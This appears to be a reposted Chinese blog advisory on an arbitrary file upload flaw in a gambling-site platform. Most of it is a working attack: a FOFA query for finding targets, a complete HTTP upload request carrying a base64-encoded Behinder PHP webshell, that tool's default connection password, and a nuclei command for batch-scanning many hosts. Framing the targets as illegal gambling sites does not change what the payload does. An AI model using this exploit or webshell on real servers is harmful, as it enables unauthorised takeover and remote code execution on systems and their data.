Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86379262

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x01 漏洞描述

网络dubo是指通过互联网手段(非法dubo网站、菠菜App、微信群等)进行的赌博活动。由于网络dubo不合法,资金不受法律保护,有很多“出老千”的行为,很多人被骗后往往不敢报警,导致家破人亡,所以打击dubo,刻不容缓。某菠菜系统系统存在任意文件上传漏洞,攻击者通过漏洞可以上传木马文件,导致服务器失陷

Image

0x02 漏洞复现

fofabody="main.e5ee9b2df05fc2d310734b11cc8c911e.css"

1.执行POC,上传冰蝎马,返回上传路径

POST //statics/admin/webuploader/0.1.5/server/preview.php HTTP/2
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-Modified-Since: Mon, 05 Sep 2022 01:19:50 GMT
If-None-Match: "63154eb6-273"
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 746

data:image/php;base64,PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IAoJJF9TRVNTSU9OWydrJ109JGtleTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7CgkJJHBvc3Q9JHQoJHBvc3QuIiIpOwoJCQoJCWZvcigkaT0wOyRpPHN0cmxlbigkcG9zdCk7JGkrKykgewogICAgCQkJICRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAkJCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsKCX0KICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9faW52b2tlKCRwKSB7ZXZhbCgkcC4iIik7fX0KICAgIEBjYWxsX3VzZXJfZnVuYyhuZXcgQygpLCRwYXJhbXMpOwo/Pg==s

Image


2.冰蝎连接,得到一个webshell

冰蝎默认连接密码:rebeyond

Image


3.nuclei批量验证脚本已发表于知识星球(存在较多资产)

nuclei.exe -t bocaijngj_upload.yaml -l subs.txt -stats

Image


转载于原文链接: https://mp.weixin.qq.com/s?__biz=MzkyMTMwNjU1Mg==&mid=2247486261&idx=1&sn=2ea324e5b3b895bd500a509bd15ae90f&chksm=c184dfe2f6f356f47a5f80d045fac890227a508488b23898482ce4f9daa91feccc54d2f83629&scene=178&cur_album_id=2581677939042598912#rd